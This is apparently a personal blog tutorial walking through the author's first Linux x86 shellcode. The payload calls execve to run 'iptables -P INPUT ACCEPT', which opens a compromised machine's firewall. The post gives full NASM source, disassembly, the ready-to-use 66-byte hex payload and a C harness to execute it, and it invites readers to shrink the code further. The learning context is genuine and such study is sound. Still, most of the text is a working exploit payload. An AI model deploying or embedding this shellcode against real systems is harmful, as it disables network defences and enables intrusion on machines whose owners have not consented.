Writing my first shellcode - iptables -P INPUT ACCEPT
I've recently started to look into basic application security concepts using the imho excellent material from OpenSecurityTraining.info. In this blogpost I'd like to share my first piece of shellcode executing iptables -P INPUT ACCEPT.
Background
After practically learning how to exploit a simple stackoverflow I wanted to see if I could write my own shellcode. I somehow came across the shellcode repository at shell-storm.org and wanted to develop something that wasn't already in there and is somehow useful.
There are multiple entries which execute iptables -F. However, as far as I know, this only flushes all rules from all tables, but doesn't change the default policies. So it may drop all rules, but if a server's default policy is DROP you'll cut the machine off the internet. Mission failed.
My idea was to write a piece of shellcode that would change the default policy of the INPUT chain to ACCEPT, i.e. run iptables -P INPUT ACCEPT.
Writing shellcode
First of all, I'd like to say that I'm not an 1337 sh3llc0d3 3Xp3rt. I read about some basics and tried to understand other people's shellcode and their tricks. So feedback is very welcome! Simply leave a comment or send me an e-mail.
The goal is to run /sbin/iptables -P INPUT ACCEPT. At this point we assume that the exploited application has enough privileges to execute this command. Otherwise you might want to add some setuid(0) code or so.
execve is a common choice if you want to execute foreign binaries with specific parameters. man 3 execve gives us some more information:
int execve(const char *path, char *const argv[], char *const envp[]);
[...]
The argv and environ arrays are each terminated by a null pointer.
[...]
The argument argv is an array of character pointers to null-terminated strings. The application shall ensure that the last member of this array is a null pointer. These strings shall constitute the argument list available to the new process image. The value in argv[0] should point to a filename string that is associated with the process being started by one of the exec functions.
The argument envp is an array of character pointers to null-terminated strings. These strings shall constitute the environment for the new process image. The envp array is terminated by a null pointer.
That means that we want to write shellcode that represents
execve('/sbin/iptables', ['/sbin/iptables', '-P', 'INPUT', 'ACCEPT'], NULL)
We don't need the envp variable and thus pass a NULL pointer.
Now that we have an idea what to do, we can start with our assembly code. The shellcode.asm starts with two definitions:
section .textdefines the code section.global _startdefines the entry point of our application.
Both isn't really necessary for the shellcode itself, but will help us to compile, link and execute (read: test) our shellcode later.
;Runs /sbin/iptables -P INPUT ACCEPT
section .text
global _start
_start:
The next step is to think of a way to assemble our arguments to execve on the stack:
/sbin/iptables-PINPUTACCEPT
We'll build the strings dynamically on the stack because using static strings (e.g. in a .data section) would require hardcoded addresses in our shellcode and that might break most exploits.
So the first thing we need is a NULL byte to terminate the string. The easiest way to get 0 into a register is xor, because a ^ a = 0:
xor edx, edx ; edx = 0
We use the edx register for our NULL byte, because we can reuse it as the NULL pointer for the third argument ( envp) of execve.
Let's continue to build /sbin/iptables on the stack:
push edx ; /sbin///iptables
push 0x73656c62 ; selb
push 0x61747069 ; atpi
push 0x2f2f2f6e ; ///n
push 0x6962732f ; ibs/
mov ebx, esp
An attentive reader may have noticed the additional / in the /sbin///iptables string. That's because we have to take care of nullbytes in the shellcode. More about that later. Linux ignores consecutive slashes in paths and treats them as one.
As we know, the stack grows top-down, but execve will read it bottom-up. That's why we push the NULL-byte ( edx) first and the string needs to be reversed. A simple python function will help us:
def stack_str(s):
rev = s[::-1]
return rev.encode('hex')
>>> stack_str('/sbin///iptables')
'73656c62617470692f2f2f6e6962732f'
This hex string can be splitted into 4-byte blocks (8 hex characters) and then pushed on the stack. As a last step we save a pointer to the first argument in ebx by copying the current address of esp. We use ebx because the path to the executable is the second argument to execve.
We repeat this step for all arguments. However, we need one more trick for arguments that can't be aligned to a multiple of four. This is the case for the -P argument:
>>> len('-P') % 4
2
>>> stack_str('-P')
'502d'
The problem with not-4-byte-aligned values is that the compiler will fill the remaining bytes with zeroes:
$> rasm2 -a x86 -b 32 'push 0x502d'
682d500000
68 2d 50 00 00 push $0x502d
Nullbytes ( 0x0) or newlines ( 0xa) usually work as strings terminators in C and thus can't be used in the shellcode without breaking it.
That's why we don't want to use push 0x502d, but a minor workaround to write 0x502d into eax before pushing it. We append four arbitrary hex values (e.g. 0xffff, 2 bytes) to our hex encoded string and move it into eax:
mov eax, 0x502dffff
followed by a right shift of 0x10 (16 bits, 2 bytes) to get rid of the additional ffff:
shr eax, 0x10
We can check if everything is correct with:
>>> hex(0x502dfff >> 0x10)
'0x502'
and
$> rasm2 -a x86 -b 32 'mov eax, 0x502dffff;shr eax, 0x10'
b8ffff2d50c1e810
Now we can push the correct value without breaking our shellcode!
Let's put the second block together:
push edx ; -P
mov eax, 0x502dffff
shr eax, 0x10
push eax
mov eax, esp
This time we save the address to -P ( esp) in eax.
The last two arguments ( INPUT, ACCEPT) follow a similar procedure:
push edx ; INPUT
mov ecx, 0x54ffffff
shr ecx, 0x18
push ecx
push 0x55504e49
mov ecx, esp
push edx ; ACCEPT
mov esi, 0x5450ffff
shr esi, 0x10
push esi
push 0x45434341
mov esi, esp
The address for INPUT is in ecx and ACCEPT can be reached with esi.
At this point most of the hard work is done, so let's see what we've got so far:
NULL-byte inedx(3rd argument ofexecve)eaxpoints to-P(1st argument ofiptables)ebxpoints to/sbin///iptables(1st argument ofexecve)ecxpoints toINPUT(2nd argument ofiptables)esipoints toACCEPT(3rd argument ofiptables)
That's everything we need to build our NULL-terminated argv array. We simply push the addresses in the correct order onto the stack:
push edx ; 0
push esi ; ACCEPT
push ecx ; INPUT
push eax ; -P
push ebx ; /sbin/iptables
mov ecx, esp
As we don't need the reference to INPUT anymore, we can overwrite ecx with the address to the argv array, because that will be the second argument of execve
The final step is to issue the execve syscall with the following parameters:
eax: Syscall-IDebx: Address to/sbin///iptablesecx: Address to theargvarrayedx:NULL-pointer for theenvp
push 0xb ; execve('/sbin///iptables', ['/sbin///iptables', '-P', 'INPUT', 'ACCEPT'], NULL)
pop eax
int 0x80
In the above block we use a combination of push and pop to avoid NULL bytes in our shellcode by clearing the higher bits of the eax register and placing the 0xb ( execve) syscall-ID into it at the same time.
You can find the appropiate syscall-ID in the /usr/include/asm/unistd_32.h header file:
$> grep execve /usr/include/asm/unistd_32.h
#define __NR_execve 11
Here's the the full shellcode so far:
section .text
global _start
_start:
xor edx, edx ; edx = 0
push edx ; /sbin///iptables
push 0x73656c62
push 0x61747069
push 0x2f2f2f6e
push 0x6962732f
mov ebx, esp
push edx ; -P
mov eax, 0x502dffff
shr eax, 0x10
push eax
mov eax, esp
push edx ; INPUT
mov ecx, 0x54ffffff
shr ecx, 0x18
push ecx
push 0x55504e49
mov ecx, esp
push edx ; ACCEPT
mov esi, 0x5450ffff
shr esi, 0x10
push esi
push 0x45434341
mov esi, esp
push edx ; 0
push esi ; ACCEPT
push ecx ; INPUT
push eax ; -P
push ebx ; /sbin/iptables
mov ecx, esp
push 0xb ; execve('/sbin///iptables', ['/sbin///iptables', '-P', 'INPUT', 'ACCEPT'], NULL)
pop eax
int 0x80
We can add some more instructions at the bottom to cleanly exit the test program:
;exit(0)
mov al,1 ; exit
xor ebx, ebx ; 0
int 0x80
Testing the shellcode
If we did everyhting right, we should be able to compile and run our assembly program:
$> nasm -f elf shellcode.asm
$> ld -m elf_i386 -s -o shellcode shellcode.o
I'm running a 64-bit linux and want to compile x86 assembly, and that's why I have to set -m elf_i386 switch.
We can then use objdump -d shellcode to verify that our shellcode does not contain any string terminators:
shellcode: file format elf32-i386
Disassembly of section .text:
08048060 <.text>:
8048060: 31 d2 xor %edx,%edx
8048062: 52 push %edx
8048063: 68 62 6c 65 73 push $0x73656c62
8048068: 68 69 70 74 61 push $0x61747069
804806d: 68 6e 2f 2f 2f push $0x2f2f2f6e
8048072: 68 2f 73 62 69 push $0x6962732f
8048077: 89 e3 mov %esp,%ebx
8048079: 52 push %edx
804807a: b8 ff ff 2d 50 mov $0x502dffff,%eax
804807f: c1 e8 10 shr $0x10,%eax
8048082: 50 push %eax
8048083: 89 e0 mov %esp,%eax
8048085: 52 push %edx
8048086: b9 ff ff ff 54 mov $0x54ffffff,%ecx
804808b: c1 e9 18 shr $0x18,%ecx
804808e: 51 push %ecx
804808f: 68 49 4e 50 55 push $0x55504e49
8048094: 89 e1 mov %esp,%ecx
8048096: 52 push %edx
8048097: be ff ff 50 54 mov $0x5450ffff,%esi
804809c: c1 ee 10 shr $0x10,%esi
804809f: 56 push %esi
80480a0: 68 41 43 43 45 push $0x45434341
80480a5: 89 e6 mov %esp,%esi
80480a7: 52 push %edx
80480a8: 56 push %esi
80480a9: 51 push %ecx
80480aa: 50 push %eax
80480ab: 53 push %ebx
80480ac: 89 e1 mov %esp,%ecx
80480ae: 6a 0b push $0xb
80480b0: 58 pop %eax
80480b1: cd 80 int $0x80
80480b3: b0 01 mov $0x1,%al
80480b5: 31 db xor %ebx,%ebx
80480b7: cd 80 int $0x80
If you're brave enough, you can execute the compiled binary:
$> sudo iptables -L -vn
Chain INPUT (policy DROP 0 packets, 0 bytes)
$> sudo shellcode
$> sudo iptables -L -vn
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
A quick google search for "objdump to shellcode" leads to a nice commandlinefu trick which helps us to transform the instructions into an usable representation:
(Tipp: Remove the 'exit' assembly code and recompile the binary before doing this)
$> for i in `objdump -d shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\xb8\xff\xff\x2d\x50\xc1\xe8\x10\x50\x89\xe0\x52\xb9\xff\xff\xff\x54\xc1\xe9\x18\x51\x68\x49\x4e\x50\x55\x89\xe1\x52\xbe\xff\xff\x50\x54\xc1\xee\x10\x56\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80
Counting bytes
Usually one doesn't have a lot of space for a payload, so shrinking the shellcode to the smallest possible amount of bytes is desired. Our current version is 83 bytes long:
>>> len("\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\xb8\xff\xff\x2d\x50\xc1\xe8\x10\x50\x89\xe0\x52\xb9\xff\xff\xff\x54\xc1\xe9\x18\x51\x68\x49\x4e\x50\x55\x89\xe1\x52\xbe\xff\xff\x50\x54\xc1\xee\x10\x56\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80")
83
So let's see if we can optimize our shellcode somewhere. With my limited knowledge we can optimize the push instructions for all "uneven" parameters -P, INPUT and ACCEPT by splitting it up in 4-byte blocks and then using push word or push byte to push the rest:
push edx
push word 0x502d ; -P
mov eax, esp
push edx ; INPUT
push byte 0x54
push 0x55504e49
mov ecx, esp
push edx ; ACCEPT
push word 0x5450
push 0x45434341
mov esi, esp
Note that push byte nor push word seem to be a valid mnemonics in x86, but nasm seems to understand what we want to do.
The resulting shellcode is a bit shorter and still doesn't contain any nullbytes:
66 68 2d 50 pushw $0x502d
6a 54 push $0x54
66 68 50 54 pushw $0x5450
The resulting shellcode is 17 bytes shorter:
>>> len("\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\x66\x68\x2d\x50\x89\xe0\x52\x6a\x54\x68\x49\x4e\x50\x55\x89\xe1\x52\x66\x68\x50\x54\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80")
66
A common way to share shellcode is putting it into a small c programm:
/*
Title: Linux/x86 - execve("/sbin/iptables", ["/sbin/iptables", "-P", "INPUT", "ACCEPT"], NULL) - 66 bytes
Author: @gehaxelt <hi[at]gehaxelt[dot]in>
Date: Sa 28. Mai 13:00:37 CET 2016
Source Code (NASM):
global _start
_start:
xor edx, edx ; edx = 0
push edx ; /sbin///iptables
push 0x73656c62
push 0x61747069
push 0x2f2f2f6e
push 0x6962732f
mov ebx, esp
push edx
push word 0x502d ; -P
mov eax, esp
push edx ; INPUT
push byte 0x54
push 0x55504e49
mov ecx, esp
push edx ; ACCEPT
push word 0x5450
push 0x45434341
mov esi, esp
push edx ; 0
push esi ; ACCEPT
push ecx ; INPUT
push eax ; -P
push ebx ; /sbin/iptables
mov ecx, esp
push 0xb ; execve('/sbin///iptables', ['/sbin///iptables', '-P', 'INPUT', 'ACCEPT'], NULL)
pop eax
int 0x80
*/
#include <stdio.h>
char shellcode[] = "\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e"
"\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\x66\x68\x2d\x50"
"\x89\xe0\x52\x6a\x54\x68\x49\x4e\x50\x55\x89\xe1\x52\x66\x68"
"\x50\x54\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89"
"\xe1\x6a\x0b\x58\xcd\x80";
int main()
{
printf("Length: %d bytes.\n", strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
Compile it with
$> gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c
Conclusion
Writing shellcode is a bit easier than I thought, although I think that reducing a shellcode's length is the real (and fun) challenge. I also hope that I didn't make any mistakes above and that the result is usable in some way.
Code golfing
Do you know other tricks to shorten the shellcode? The attentive reader should find at least one more way to shorten the shellcode.
Send me an email to shellcode [4t] 0day.work or tweet @0daywork with your version.
Ranking
- 31.05.2016: Squd: 65 bytes
-=-